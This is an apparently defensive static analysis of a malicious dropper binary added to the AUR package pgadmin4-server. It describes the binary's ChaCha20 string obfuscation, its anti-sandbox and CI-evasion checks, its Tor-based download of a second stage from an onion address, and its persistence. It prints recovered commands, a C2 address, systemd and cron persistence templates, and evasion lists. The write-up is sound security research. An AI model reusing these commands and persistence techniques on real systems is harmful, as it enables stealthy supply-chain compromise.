What the parser binary in AUR pgadmin4-server does

A 43 KB stripped ELF added to the AUR package pgadmin4-server in commit b7de293 (2026-07-29), invoked as sudo "$srcdir/parser" from build().

Static analysis only — the sample was never executed.

SHA-256 a74d56ff107f08401d7868e8bd5f3f0daf10d2c61824f169a083a08d484fabdd
Type ELF 64-bit LSB PIE, x86-64, dynamically linked, stripped
BuildID 436e25d2126ea5c0ae80b350a45c380fec60e5ff
Linked libs libc.so.6 only
Entry / main 0x2f20 / 0x2430

Summary: it is a stage-1 dropper. It checks it isn't being watched, builds itself an anonymised network transport out of the real Tor client, pulls a second-stage agent from a hidden service, installs it under a random name, and persists it. It is not itself the payload.


String obfuscation

All 154 strings are individually ChaCha20-encrypted, each with its own 32-byte key and 8-byte nonce, with the block counter reset per string. Nothing useful appears in a plain strings dump.

.rodata layout:

Address Contents
0x6080 uint16[154] — plaintext lengths
0x61c0 uint16[154] — cumulative offsets
0x6300 uint8[154][8] — per-string nonces
0x67e0 uint8[154][32] — per-string keys
0x7b20 ciphertext blob
0xc300 (.bss) plaintext destination

Identification: the expand 32-byte k constants are materialised inline at 0x32cb/0x32da, the standard ChaCha quarter-round is at 0x3204, and the bulk decryptor at 0x3240 runs 10 double-rounds (4 column + 4 diagonal quarter- rounds each) before the add-original-state step at 0x3431.

Accessor at 0x34d0:

const char *S(int idx) {
    if (!decrypted_flag /* 0xc2e4 */) decrypt_all(); /* 0x3240 */
    return (char *)0xc300 + offsets[idx];
}

Reimplementing ChaCha20 against these tables recovers all 154 strings offline. 130 S(idx) call sites resolve to literal indices loaded via mov edi, imm, which makes the disassembly directly readable.


1. Anti-analysis gate (main, 0x2430)

Runs first. Any hit jumps to 0x2ef6 and exits silently, doing nothing:

  1. Debugger — parses TracerPid: from /proc/self/status; nonzero → exit.
  2. Sandbox hostnamegethostname() matched against: malware, vmware, seclab, sandbox, cuckoo, analysis, virus, vxbox, honeypot, maltest, triage, anyrun, cape, remnux, flare, sndbox
  3. CI environment — exits if any of 26 env vars is set: GITHUB_ACTIONS, GITLAB_CI, TRAVIS, CIRCLECI, JENKINS_URL, BUILD_BUILDURI, CODEBUILD_BUILD_ID, BUILDKITE, APPVEYOR, BITBUCKET_BUILD_NUMBER, DRONE, SEMAPHORE, TEAMCITY_VERSION, bamboo_agentId, BITRISE_IO, CIRRUS_CI, CF_BUILD_ID, VERCEL, NOW_GITHUB_DEPLOYMENT, WERCKER_MAIN_PIPELINE_STARTED, BUDDY_WORKSPACE_ID, SHIPPABLE, JB_SPACE_EXECUTION_NUMBER, VELA, SCREWDRIVER, DISTELLI_APPNAME

Check 3 is the interesting one. Because this is a build-time payload, the obvious place to catch it is an automated package-build farm — so it refuses to run in one, and detonates only on real developer and end-user machines.

2. Reinfection marker

Stores an infection flag in the security.selinux extended attribute of its install path (setxattr at 0x38be, getxattr at 0x3bc3). An innocuous-looking xattr name, chosen to survive casual inspection.

3. Tor transport bootstrap

Downloads the genuine Tor Expert Bundle from the real Tor Project host:

https://archive.torproject.org/tor-package-archive/torbrowser/16.0a7/tor-expert-bundle-linux-x86_64-16.0a7.tar.gz
curl -sLk --max-time 120 -o '%s' '%s' 2>/dev/null
tar xzf '%s' --strip-components=1 -C '%s' 2>/dev/null

Writes a private torrc:

DataDirectory %s
SOCKSPort %d
RunAsDaemon 0
AllowSingleHopCircuits 1
Log notice stderr

Launches it forked, stdio to /dev/null, waiting for Bootstrapped 100%:

execl(tor_path, "dbus-daemon", "-f", torrc_path, NULL);   /* 0x52da */

argv[0] is spoofed to dbus-daemon — process-name masquerade. An alternate hardcoded path also exists:

LD_LIBRARY_PATH=/tmp/tb /tmp/tb/tor --DataDirectory /tmp/tb/data \
  --SocksPort %d --ClientOnly 1 --Log 'notice file %s' >/dev/null 2>&1 &

Using the real Tor client means there is no attacker-controlled clearnet infrastructure to seize or blocklist.

4. Command and control

Hand-rolled SOCKS5 client (0x277e0x292e): connects to 127.0.0.1 on the local Tor SOCKS port, sends 05 01 00, validates 05 00, then issues a domain-name CONNECT to:

p4ayykxcrxfyzrgfbbkazernntjbz43hgclrheguylzd7kijmtce6zqd.onion

Followed by a plain HTTP request:

GET / HTTP/1.1
Host: %s
User-Agent: curl/8.9.1
Connection: close

It parses Content-Length: (case-insensitively) and the \r\n\r\n boundary, requires HTTP 200 (cmp eax, 0xc8 at 0x2ba3), and streams the body to /dev/shm/.agent.bin, falling back to /tmp/.agent.bin.

Connectivity is probed against 1.1.1.1 and 8.8.8.8.

There is no bind, listen, or accept anywhere in the binary. It is egress-only; stage 1 opens no inbound backdoor.

5. Stage-2 installation

The downloaded blob is a gzipped tarball containing per-platform directories. Stage 1 selects linux-x86_64 and reads %s/%s/agent from it. String tables for macos-aarch64 and windows-x86_64 are compiled in but unreachable in this ELF — evidence of a cross-platform codebase.

The extracted agent is written under a randomly generated pronounceable name built from three alphabet tables (brcrdrfrgrkrprtrvrblclflglklplslvlzl, aeiou, bcdfghjklmnprstvwx) seeded from /dev/urandom, then chmod'd and started with:

systemd-run --user --scope --unit=%s %s >/dev/null 2>&1

Install location depends on geteuid() (0x3a8f):

When picking the $HOME hiding spot it enumerates with opendir/readdir and skips .ssh, .gnupg, .pki, .cert, .password, .local, .config, .cache. This is a blocklist for placement — it avoids directories a user is likely to inspect. It is not credential harvesting; no reads of those paths occur anywhere in the binary.

6. Persistence

All of the following are compiled in, selected by privilege level and platform.

Linux, root/etc/systemd/system/<random>.service:

[Unit]
After=network.target

[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target

then systemctl daemon-reload + systemctl enable --now '%s', plus @reboot root %s dropped into /etc/cron.d.

Linux, user~/.config/systemd/user/<random>.service (WantedBy=default.target), then systemctl --user daemon-reload && systemctl --user enable --now '%s' && loginctl enable-linger, plus a deduplicated @reboot crontab entry.

macOS — LaunchDaemon/LaunchAgent plist labelled com.apple.telemetry.%s, RunAtLoad + KeepAlive, installed via launchctl bootstrap / launchctl load -w.

Windows — hidden Scheduled Task XML, LogonTrigger with PT30S delay, RestartOnFailure count 999, dropped in C:\Windows\System32\Tasks; download fallback via powershell Invoke-WebRequest with certificate validation disabled.

Matching uninstall routines exist that scrub its own systemd units and filter its own crontab lines back out, enumerating /home/ to clean per-user artefacts.


Assessment

Stage 1 is a loader. Its entire remit is: evade analysis, stand up an anonymised transport, fetch stage 2, install it, persist it, and support its own removal. The actual capability lives in the agent served from the hidden service, which was not retrieved and is not present in the package.

Design priorities visible in the code are stealth over speed (silent bail on any analysis signal, no retry noise), attribution resistance (all C2 over Tor, no attacker-owned clearnet infrastructure), and blending in (the dbus-daemon argv spoof, the security.selinux xattr, com.apple.telemetry.* labels, randomised unit and directory names).

Because it is invoked via sudo at package build time, on a successful run it executes with root privileges before any part of pgAdmin is compiled.

✏️ Start writing

Write here. Publish when ready. Share the link.

Your draft stays private until you choose to publish.

JotBird Logo
Published with JotBird